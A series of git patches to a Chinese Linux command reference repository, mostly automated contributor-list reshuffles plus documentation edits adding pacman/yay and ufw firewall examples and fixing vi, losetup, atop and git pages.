100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -58,6 +58,7 @@ kid1412621 kassadin juemuren4449 +Forever121 Ricardowang cole dufu @@ -66,55 +67,54 @@ nsnans oliver rexlin600 -jqz3.tech -jcdj666 -hululu1068 -huangyao -hotdogc1017 -gcluffy -githubwxz -ghy -gesty -gedune -gang.yang -ecjtusbs -dongpohezui -Deny -dayday cxalc -Yidan Wang -bycs -远方 -谢民皆 -Kyofin -老犁 -继刚 -移动的红烧肉 -极简XksA -ReZero -扶苏如是 -Loofra -Wei Xu -尘埃 -孤城落寞 +dayday +Deny +dongpohezui +ecjtusbs +gang.yang +gedune +gesty +ghy +githubwxz +gcluffy +hotdogc1017 +huangyao +hululu1068 +jcdj666 +jqz3.tech 七朔 -zyimm -zuixin369 -zoomdong -zodiac -zjlovezj -yanyx -Lingfeng Wang -weibk -waiwai -UniqueDing -tutianyu101 -tangke -snovey -shuangcui -shc +孤城落寞 +尘埃 +Wei Xu +Loofra +扶苏如是 +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +bycs +Yidan Wang sfwwslm -Q.Ben Zheng +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +waiwai +weibk +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 +zyimm Mystic MinsonLee Marnm @@ -130,6 +130,7 @@ LaudOak Karl Horky Nexchard +Jelly Jack.A.Black Jack Huntout Zhang @@ -145,7 +146,6 @@ azroy Alan 0x_000 -Forever121 chaofan c2ch brinkqiang @@ -175,7 +175,8 @@ Rocher Robigus Rining Wu -Ray Yee +Ray Yee +Q.Ben Zheng

数据来源于 GitHub Contributors，使用action-contributors创建。 From a4a9cdaf17a21cb403eba356230ed4b11283d379 Mon Sep 17 00:00:00 2001 From: Xrtero <55886907+Xrtero@users.noreply.github.com> Date: Tue, 18 Feb 2025 13:39:39 +0800 Subject: [PATCH 454/570] doc: Update pacman.md (#634) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit update(doc):添加pacman的一些示例 --- command/pacman.md | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/command/pacman.md b/command/pacman.md index 83b953f2954..60ce0307a04 100644 --- a/command/pacman.md +++ b/command/pacman.md @@ -10,15 +10,20 @@ Arch Linux 系统及其衍生系统中默认使用的包管理器 ## 实例 ### 安装软件包 - +官方软件包 ```bash pacman -S p7zip ``` -也可以安装一个软件包组 +非官方软件包（用户制作） +```bash +yay -S package_name1 package_name2 ... +``` + +### 查询软件包 ```bash -pacman -S gnome +pacman -Ss package_name1 package_name2 ... ``` ### 列出所有软件包 From e5c4b39384a16448fe358d658ed63e2129f7e055 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 18 Feb 2025 05:40:28 +0000 Subject: [PATCH 455/570] doc: update README.md. --- README.md | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/README.md b/README.md index 67ab431e46e..cb037d1d429 100644 --- a/README.md +++ b/README.md @@ -312,28 +312,28 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. ernest dulltackle zyy2477 +rgshare +loverainye +lavaicer +YEUNGCHIE SteveLauC MioMuse -Shan Chenyu +Xrtero James Wang -YEUNGCHIE -lavaicer -loverainye -rgshare +Shan Chenyu +duzhuoshanwai +gggwvg +VVatt +will +xhal +Shell +沙漠之子 Qliangw Wang Yujia -沙漠之子 alfred -Shell -xhal -will -VVatt -gggwvg -duzhuoshanwai Dazhuangw Alterem YH -Xrtero Xingwen Zhang RichardLCD QinShower From 86cb964667a680019c456c71a45eed09889115e2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 18 Feb 2025 05:40:29 +0000 Subject: [PATCH 456/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index dab9e0bdc01..61f29d0860f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -22,28 +22,28 @@ ernest dulltackle zyy2477 +rgshare +loverainye +lavaicer +YEUNGCHIE SteveLauC MioMuse -Shan Chenyu +Xrtero James Wang -YEUNGCHIE -lavaicer -loverainye -rgshare +Shan Chenyu +duzhuoshanwai +gggwvg +VVatt +will +xhal +Shell +沙漠之子 Qliangw Wang Yujia -沙漠之子 alfred -Shell -xhal -will -VVatt -gggwvg -duzhuoshanwai Dazhuangw Alterem YH -Xrtero Xingwen Zhang RichardLCD QinShower From 6fcaf53f18960d4138c3d4173b0a79d81fab07fb Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 21 Feb 2025 08:44:04 +0800 Subject: [PATCH 457/570] released v1.20.0 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 8bba58fe3ac..a5b637f755c 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.19.1", + "version": "1.20.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 4ce1d2da7ad35afac5aefe2b0a072a89979536c5 Mon Sep 17 00:00:00 2001 From: Github1977 <68886053+li7355608@users.noreply.github.com> Date: Mon, 24 Feb 2025 11:58:57 +0800 Subject: [PATCH 458/570] faet: add ufw.md (#636) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Create ufw.md 新增ufw命令 * Update ufw.md 修改标题获取 * Update ufw.md 规范格式 --- command/ufw.md | 104 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 104 insertions(+) create mode 100644 command/ufw.md diff --git a/command/ufw.md b/command/ufw.md new file mode 100644 index 00000000000..43ce91a1289 --- /dev/null +++ b/command/ufw.md @@ -0,0 +1,104 @@ +ufw +=== + +ubuntu防火墙管理工具 + +## 概要 + +```shell +sudo ufw [选项] [规则/命令] +``` + +## 用途 + +- 管理Ubuntu系统防火墙规则，简化`iptables`操作。 +- 启用或禁用防火墙，查看当前防火墙状态。 +- 快速配置允许/拒绝端口、服务或特定IP的访问。 + +## 参数 + +### 常用操作命令 + +- `enable`: 启用防火墙并设置开机自启。 +- `disable`: 关闭防火墙。 +- `reload`: 重新加载防火墙规则（不中断现有连接）。 +- `reset`: 重置所有规则到初始状态。 +- `allow `: 允许指定规则（如端口、服务）。 +- `deny `: 拒绝指定规则。 +- `status`: 显示防火墙状态和规则列表。 + +### 规则格式 + +- ``: 端口号（如 `22`、`80/tcp`）。 +- ``: 协议类型（`tcp` 或 `udp`）。 +- `comment `: 为规则添加注释（需配合 `allow`/`deny` 使用）。 + +### 选项 + +- `--dry-run`: 仅显示规则变更，不实际应用。 + +------ + +## 返回值 + +- 成功执行返回 `0`。 +- 错误或无效参数返回非零值。 + +------ + +## 示例 + +### 基础操作 + +``` +# 启用防火墙 +sudo ufw enable + +# 关闭防火墙 +sudo ufw disable + +# 查看防火墙状态 +sudo ufw status +``` + +### 规则配置 + +``` +# 允许SSH默认端口（22/tcp） +sudo ufw allow ssh + +# 允许TCP协议的8080端口并添加注释 +sudo ufw allow 8080/tcp comment "Web Server" + +# 拒绝来自192.168.1.5的访问 +sudo ufw deny from 192.168.1.5 + +# 拒绝UDP协议的53端口 +sudo ufw deny 53/udp +``` + +### 高级操作 + +``` +# 显示带编号的规则列表（便于删除） +sudo ufw status numbered + +# 删除第3条规则 +sudo ufw delete 3 + +# 重置所有规则 +sudo ufw reset +``` + +------ + +## 注意 + +1. **权限要求**：需使用 `sudo` 执行命令。 +2. **默认策略**：首次启用时默认阻止所有入站流量，允许所有出站流量。 +3. **规则优先级**： + 规则按顺序匹配，先拒绝后允许可能导致冲突 +4. **日志记录**： + 可通过 `sudo ufw logging on` 启用日志，日志路径为 `/var/log/ufw.log` +5. **服务名称支持**： + 支持 `/etc/services` 中定义的服务名（如 `http`、`ssh`） From 8cf952e395224f60a4015b11993675191891736f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 24 Feb 2025 03:59:41 +0000 Subject: [PATCH 459/570] doc: update README.md. --- README.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index cb037d1d429..27d623d80a7 100644 --- a/README.md +++ b/README.md @@ -345,7 +345,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. linuxwd lewis1573 leo -kid1412621 +NanoNova kassadin juemuren4449 Forever121 @@ -405,7 +405,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zoomdong zuixin369 zyimm -Mystic +chaofan MinsonLee Marnm mwei @@ -427,6 +427,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. HighScorePlayer 重劍無鋒 Guiying Li +Github1977 Frankie Divenire Derek @@ -436,7 +437,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. azroy Alan 0x_000 -chaofan c2ch brinkqiang bestlaw66 @@ -466,7 +466,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Robigus Rining Wu Ray Yee -Q.Ben Zheng +Q.Ben Zheng +Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 4d8d6c86913c43f6469a2fae55f3b20a14b3799d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 24 Feb 2025 03:59:42 +0000 Subject: [PATCH 460/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 61f29d0860f..220d95ff8ef 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -55,7 +55,7 @@ linuxwd lewis1573 leo -kid1412621 +NanoNova kassadin juemuren4449 Forever121 @@ -115,7 +115,7 @@ zoomdong zuixin369 zyimm -Mystic +chaofan MinsonLee Marnm mwei @@ -137,6 +137,7 @@ HighScorePlayer 重劍無鋒 Guiying Li +Github1977 Frankie Divenire Derek @@ -146,7 +147,6 @@ azroy Alan 0x_000 -chaofan c2ch brinkqiang bestlaw66 @@ -176,7 +176,8 @@ Robigus Rining Wu Ray Yee -Q.Ben Zheng +Q.Ben Zheng +Mystic

数据来源于 GitHub Contributors，使用action-contributors创建。 From 74e3582ea24f489605f3dbd066b3ecfdd78cd1e6 Mon Sep 17 00:00:00 2001 From: hanwei Date: Tue, 25 Feb 2025 12:06:53 +0800 Subject: [PATCH 461/570] doc: Update vi.md (#637) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 有些符号是全角中文，应该改为半角英文 --- command/vi.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/command/vi.md b/command/vi.md index 7536619c178..6f78d225eab 100644 --- a/command/vi.md +++ b/command/vi.md @@ -28,7 +28,7 @@ nyy：将当前行及其下n行的内容保存到寄存器？中，其中？为 p：粘贴文本操作，用于将缓存区的内容粘贴到当前光标所在位置的下方； P：粘贴文本操作，用于将缓存区的内容粘贴到当前光标所在位置的上方； /字符串：文本查找操作，用于从当前光标所在位置开始向文件尾部查找指定字符串的内容，查找的字符串会被加亮显示； -？字符串：文本查找操作，用于从当前光标所在位置开始向文件头部查找指定字符串的内容，查找的字符串会被加亮显示； +?字符串：文本查找操作，用于从当前光标所在位置开始向文件头部查找指定字符串的内容，查找的字符串会被加亮显示； a，bs/F/T：替换文本操作，用于在第a行到第b行之间，将F字符串换成T字符串。其中，“s/”表示进行替换操作； a：在当前字符后添加文本； A：在行末添加文本； @@ -38,9 +38,9 @@ o：在当前行后面插入一空行； O：在当前行前面插入一空行； :wq：在命令模式下，执行存盘退出操作； :w：在命令模式下，执行存盘操作； -:w！：在命令模式下，执行强制存盘操作； +:w!：在命令模式下，执行强制存盘操作； :q：在命令模式下，执行退出vi操作； -:q！：在命令模式下，执行强制退出vi操作； +:q!：在命令模式下，执行强制退出vi操作； :e文件名：在命令模式下，打开并编辑指定名称的文件； :n：在命令模式下，如果同时打开多个文件，则继续编辑下一个文件； :f：在命令模式下，用于显示当前的文件名、光标所在行的行号以及显示比例； From 9b2c3111d23d799b8007f09b5d5df659429aaa5e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 25 Feb 2025 04:07:19 +0000 Subject: [PATCH 462/570] doc: update README.md. --- README.md | 66 +++++++++++++++++++++++++++---------------------------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/README.md b/README.md index 27d623d80a7..0e221593088 100644 --- a/README.md +++ b/README.md @@ -321,34 +321,34 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Xrtero James Wang Shan Chenyu -duzhuoshanwai +BingCoke gggwvg VVatt will xhal Shell 沙漠之子 -Qliangw -Wang Yujia alfred +Wang Yujia +Qliangw +Ein Verne +FunKeen +Jeremy2214 +Pan, Wen-Ming +QinShower +duzhuoshanwai Dazhuangw Alterem -YH -Xingwen Zhang RichardLCD -QinShower -Pan, Wen-Ming -Jeremy2214 -FunKeen -BingCoke -Ein Verne -linuxwd -lewis1573 -leo -NanoNova -kassadin +Xingwen Zhang +YH +jqz3.tech juemuren4449 -Forever121 +kassadin +NanoNova +leo +lewis1573 +linuxwd Ricardowang cole dufu @@ -356,23 +356,23 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -rexlin600 -cxalc -dayday -Deny -dongpohezui -ecjtusbs -gang.yang -gedune -gesty -ghy -githubwxz -gcluffy -hotdogc1017 -huangyao -hululu1068 jcdj666 -jqz3.tech +hululu1068 +huangyao +hotdogc1017 +gcluffy +githubwxz +ghy +gesty +gedune +gang.yang +ecjtusbs +dongpohezui +Deny +dayday +cxalc +Forever121 +rexlin600 七朔 孤城落寞 尘埃 From b15713b8677cdb7ef12c0fc809bb9283c9776d4d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 25 Feb 2025 04:07:20 +0000 Subject: [PATCH 463/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 66 +++++++++++++++++++-------------------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 220d95ff8ef..45f19124345 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -31,34 +31,34 @@ Xrtero James Wang Shan Chenyu -duzhuoshanwai +BingCoke gggwvg VVatt will xhal Shell 沙漠之子 -Qliangw -Wang Yujia alfred +Wang Yujia +Qliangw +Ein Verne +FunKeen +Jeremy2214 +Pan, Wen-Ming +QinShower +duzhuoshanwai Dazhuangw Alterem -YH -Xingwen Zhang RichardLCD -QinShower -Pan, Wen-Ming -Jeremy2214 -FunKeen -BingCoke -Ein Verne -linuxwd -lewis1573 -leo -NanoNova -kassadin +Xingwen Zhang +YH +jqz3.tech juemuren4449 -Forever121 +kassadin +NanoNova +leo +lewis1573 +linuxwd Ricardowang cole dufu @@ -66,23 +66,23 @@ noodles2hg nsnans oliver -rexlin600 -cxalc -dayday -Deny -dongpohezui -ecjtusbs -gang.yang -gedune -gesty -ghy -githubwxz -gcluffy -hotdogc1017 -huangyao -hululu1068 jcdj666 -jqz3.tech +hululu1068 +huangyao +hotdogc1017 +gcluffy +githubwxz +ghy +gesty +gedune +gang.yang +ecjtusbs +dongpohezui +Deny +dayday +cxalc +Forever121 +rexlin600 七朔 孤城落寞 尘埃 From 984f1fa82f797c86b05443cc104b23516c8f59bd Mon Sep 17 00:00:00 2001 From: illmons Date: Mon, 3 Mar 2025 22:27:45 +0800 Subject: [PATCH 464/570] doc: update command/losetup.md (#639) --- command/losetup.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/losetup.md b/command/losetup.md index 237436c97df..bedaea698b2 100644 --- a/command/losetup.md +++ b/command/losetup.md @@ -45,7 +45,7 @@ losetup [ -d ] loop_device dd if=/dev/zero of=floppy.img bs=512 count=2880 ``` -使用 losetup将磁盘镜像文件虚拟成快设备： +使用 losetup 将磁盘镜像文件虚拟成块设备： ```shell losetup /dev/loop1 floppy.img @@ -57,7 +57,7 @@ losetup /dev/loop1 floppy.img mount /dev/loop0 /tmp ``` -经过上面的三步之后，我们就可以通过/tmp目录，像访问真实快设备一样来访问磁盘镜像文件floppy.img。 +经过上面的三步之后，我们就可以通过/tmp目录，像访问真实块设备一样来访问磁盘镜像文件floppy.img。 卸载loop设备： From 6494d44c0666e69c8da911e87ef3e989b49a92c2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 3 Mar 2025 14:28:21 +0000 Subject: [PATCH 465/570] doc: update README.md. --- README.md | 39 ++++++++++++++++++++------------------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 0e221593088..1188d762b50 100644 --- a/README.md +++ b/README.md @@ -340,8 +340,9 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Dazhuangw Alterem RichardLCD -Xingwen Zhang YH +Xingwen Zhang +Mystic jqz3.tech juemuren4449 kassadin @@ -356,22 +357,22 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -jcdj666 -hululu1068 -huangyao -hotdogc1017 -gcluffy -githubwxz -ghy -gesty -gedune -gang.yang -ecjtusbs -dongpohezui -Deny -dayday cxalc -Forever121 +dayday +Deny +dongpohezui +ecjtusbs +gang.yang +gedune +gesty +ghy +githubwxz +hanwei +gcluffy +hotdogc1017 +huangyao +hululu1068 +jcdj666 rexlin600 七朔 孤城落寞 @@ -405,7 +406,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zoomdong zuixin369 zyimm -chaofan MinsonLee Marnm mwei @@ -437,6 +437,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. azroy Alan 0x_000 +Forever121 +chaofan c2ch brinkqiang bestlaw66 @@ -466,8 +468,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Robigus Rining Wu Ray Yee -Q.Ben Zheng -Mystic +Q.Ben Zheng 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From cea25ecad65a25e368fa359e4e15c8980ebe33d4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 3 Mar 2025 14:28:22 +0000 Subject: [PATCH 466/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 39 ++++++++++++++++++++------------------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 45f19124345..0472d7c490c 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -50,8 +50,9 @@ Dazhuangw Alterem RichardLCD -Xingwen Zhang YH +Xingwen Zhang +Mystic jqz3.tech juemuren4449 kassadin @@ -66,22 +67,22 @@ noodles2hg nsnans oliver -jcdj666 -hululu1068 -huangyao -hotdogc1017 -gcluffy -githubwxz -ghy -gesty -gedune -gang.yang -ecjtusbs -dongpohezui -Deny -dayday cxalc -Forever121 +dayday +Deny +dongpohezui +ecjtusbs +gang.yang +gedune +gesty +ghy +githubwxz +hanwei +gcluffy +hotdogc1017 +huangyao +hululu1068 +jcdj666 rexlin600 七朔 孤城落寞 @@ -115,7 +116,6 @@ zoomdong zuixin369 zyimm -chaofan MinsonLee Marnm mwei @@ -147,6 +147,8 @@ azroy Alan 0x_000 +Forever121 +chaofan c2ch brinkqiang bestlaw66 @@ -176,8 +178,7 @@ Robigus Rining Wu Ray Yee -Q.Ben Zheng -Mystic +Q.Ben Zheng

数据来源于 GitHub Contributors，使用action-contributors创建。 From 184faaaac8b4f58fa586d994cc480d40c2a596f3 Mon Sep 17 00:00:00 2001 From: geekeryy Date: Tue, 8 Apr 2025 11:16:41 +0800 Subject: [PATCH 467/570] doc: Update README.md (#641) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 1188d762b50..d679ce3eae6 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ **推荐使用的镜像 web 版本** -[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/) +[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/), [`linux.jiangyang.online`](https://linux.jiangyang.online/) **其它 web 版本** From 08b80e8206507ba811bda67215f4c01a48a08e36 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 8 Apr 2025 03:17:16 +0000 Subject: [PATCH 468/570] doc: update README.md. --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d679ce3eae6..b4e7b0e0605 100644 --- a/README.md +++ b/README.md @@ -342,7 +342,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. RichardLCD YH Xingwen Zhang -Mystic +cxalc jqz3.tech juemuren4449 kassadin @@ -357,7 +357,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -cxalc dayday Deny dongpohezui @@ -372,6 +371,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. hotdogc1017 huangyao hululu1068 +illmons jcdj666 rexlin600 七朔 @@ -406,6 +406,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zoomdong zuixin369 zyimm +Mystic MinsonLee Marnm mwei From e4a5781542bc6fd0bb72db5e017b6090ac4efadb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 8 Apr 2025 03:17:17 +0000 Subject: [PATCH 469/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 0472d7c490c..2af191f255a 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -52,7 +52,7 @@ RichardLCD YH Xingwen Zhang -Mystic +cxalc jqz3.tech juemuren4449 kassadin @@ -67,7 +67,6 @@ noodles2hg nsnans oliver -cxalc dayday Deny dongpohezui @@ -82,6 +81,7 @@ hotdogc1017 huangyao hululu1068 +illmons jcdj666 rexlin600 七朔 @@ -116,6 +116,7 @@ zoomdong zuixin369 zyimm +Mystic MinsonLee Marnm mwei From 3c1b8ca90cb8432afee0b77601632c69b68197b3 Mon Sep 17 00:00:00 2001 From: focksor Date: Wed, 9 Apr 2025 12:58:33 +0800 Subject: [PATCH 470/570] doc: atop.md, git.md (#642) --- command/atop.md | 8 ++--- command/git.md | 80 ++++++++++++++++++++++++++++++++++--------------- 2 files changed, 60 insertions(+), 28 deletions(-) diff --git a/command/atop.md b/command/atop.md index 0b5535f1f10..ca04cc49b93 100644 --- a/command/atop.md +++ b/command/atop.md @@ -24,9 +24,9 @@ atop [选项] [参数] 该列显示进程整体运行情况： - sys、usr字段分别指示进程在内核态和用户态的运行时间 -- #proc字段指示进程总数 -- #zombie字段指示僵尸进程的数量 -- #exit字段指示atop采样周期期间退出的进程数量 +- `#proc` 字段指示进程总数 +- `#zombie` 字段指示僵尸进程的数量 +- `#exit` 字段指示atop采样周期期间退出的进程数量 ### CPU列 @@ -111,4 +111,4 @@ atop开发者提供了以上日志保存方式，相应的`atop.daily`脚本可 ## 相关资料 -- [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf) \ No newline at end of file +- [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf) diff --git a/command/git.md b/command/git.md index 2c7ea45b20a..7295ee20e29 100644 --- a/command/git.md +++ b/command/git.md @@ -63,25 +63,35 @@ tag 创建，列出，删除或验证使用GPG签名的标签对象 init -`git init` #初始化 +```shell +git init # 初始化 +``` status -`git status` #获取状态 +```shell +git status # 获取状态 +``` add -`git add file` # .或*代表全部添加 -`git rm --cached ` # 在commit之前撤销git add操作 -`git reset head` # 好像比上面`git rm --cached`更方便 +```shell +git add file # .或*代表全部添加 +git rm --cached # 在commit之前撤销git add操作 +git reset head # 好像比上面`git rm --cached`更方便 +``` commit -`git commit -m "message"` #此处注意乱码 +```shell +git commit -m "message" # 此处注意乱码 +``` remote -`git remote add origin git@github.com:JSLite/test.git` #添加源 +```shell +git remote add origin git@github.com:JSLite/test.git # 添加源 +``` push @@ -93,9 +103,11 @@ git push -f origin master # 强制推送文件，缩写 -f（全写--force） clone -`git clone git://github.com/JSLite/JSLite.js.git` -`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 -`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 +```shell +git clone git://github.com/JSLite/JSLite.js.git +git clone git://github.com/JSLite/JSLite.js.git mypro # 克隆到自定义文件夹 +git clone [user@]example.com:path/to/repo.git/ # SSH协议还有另一种写法。 +``` git clone支持多种协议，除了HTTP(s)以外，还支持SSH、Git、本地文件协议等，下面是一些例子。`git clone <版本库的网址> <本地目录名>` @@ -156,7 +168,9 @@ ssh -T git@github.com # 测试是否成功 **3.修改config文件** -`vim ~/.ssh/config` #修改config文件，如果没有创建 `config` +```shell +vim ~/.ssh/config # 修改config文件，如果没有创建 `config` +``` ```shell Host jslite.github.com @@ -269,7 +283,9 @@ usage: git remote set-url [--push] [] or: git remote set-url --delete ``` -`git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git` +```shell +git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git +``` **3.推送代码** @@ -634,25 +650,35 @@ git config --global core.quotepath false ### init -`git init` #初始化 +```shell +git init # 初始化 +``` ### status -`git status` #获取状态 +```shell +git status # 获取状态 +``` ### add -`git add file` # .或*代表全部添加 -`git rm --cached ` # 在commit之前撤销git add操作 -`git reset head` # 好像比上面`git rm --cached`更方便 +```shell +git add file # .或*代表全部添加 +git rm --cached # 在commit之前撤销git add操作 +git reset head # 好像比上面`git rm --cached`更方便 +``` ### commit -`git commit -m "message"` #此处注意乱码 +```shell +git commit -m "message" # 此处注意乱码 +``` ### remote -`git remote add origin git@github.com:JSLite/test.git` #添加源 +```shell +git remote add origin git@github.com:JSLite/test.git # 添加源 +``` ### push @@ -664,9 +690,11 @@ git push -f origin master # 强制推送文件，缩写 -f（全写--force） ## clone -`git clone git://github.com/JSLite/JSLite.js.git` -`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 -`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 +```shell +git clone git://github.com/JSLite/JSLite.js.git +git clone git://github.com/JSLite/JSLite.js.git mypro # 克隆到自定义文件夹 +git clone [user@]example.com:path/to/repo.git/ # SSH协议还有另一种写法。 +``` git clone支持多种协议，除了HTTP(s)以外，还支持SSH、Git、本地文件协议等，下面是一些例子。`git clone <版本库的网址> <本地目录名>` @@ -817,7 +845,9 @@ git push -u origin branchName # 提交分支到远程origin主机中 ### 拉取 -`git fetch -p` #拉取远程分支时，自动清理 远程分支已删除，本地还存在的对应同名分支。 +```shell +git fetch -p # 拉取远程分支时，自动清理 远程分支已删除，本地还存在的对应同名分支。 +``` ### 分支合并 @@ -830,7 +860,9 @@ git merge test # 将test分支合并到当前分支 ### 重命名 -`git branch -m old new` #重命名分支 +```shell +git branch -m old new # 重命名分支 +``` ### 查看 From edbe93191b66433cdbed7d1492a1a8b259c20113 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 9 Apr 2025 04:58:59 +0000 Subject: [PATCH 471/570] doc: update README.md. --- README.md | 165 +++++++++++++++++++++++++++--------------------------- 1 file changed, 83 insertions(+), 82 deletions(-) diff --git a/README.md b/README.md index b4e7b0e0605..3af46b03dee 100644 --- a/README.md +++ b/README.md @@ -308,20 +308,20 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Zijing Zhang Fubin Zhang __FresHmaN -谈笑风生间 -ernest dulltackle +ernest +谈笑风生间 zyy2477 rgshare loverainye lavaicer YEUNGCHIE -SteveLauC +James Wang MioMuse Xrtero -James Wang Shan Chenyu -BingCoke +SteveLauC +duzhuoshanwai gggwvg VVatt will @@ -331,24 +331,24 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. alfred Wang Yujia Qliangw -Ein Verne 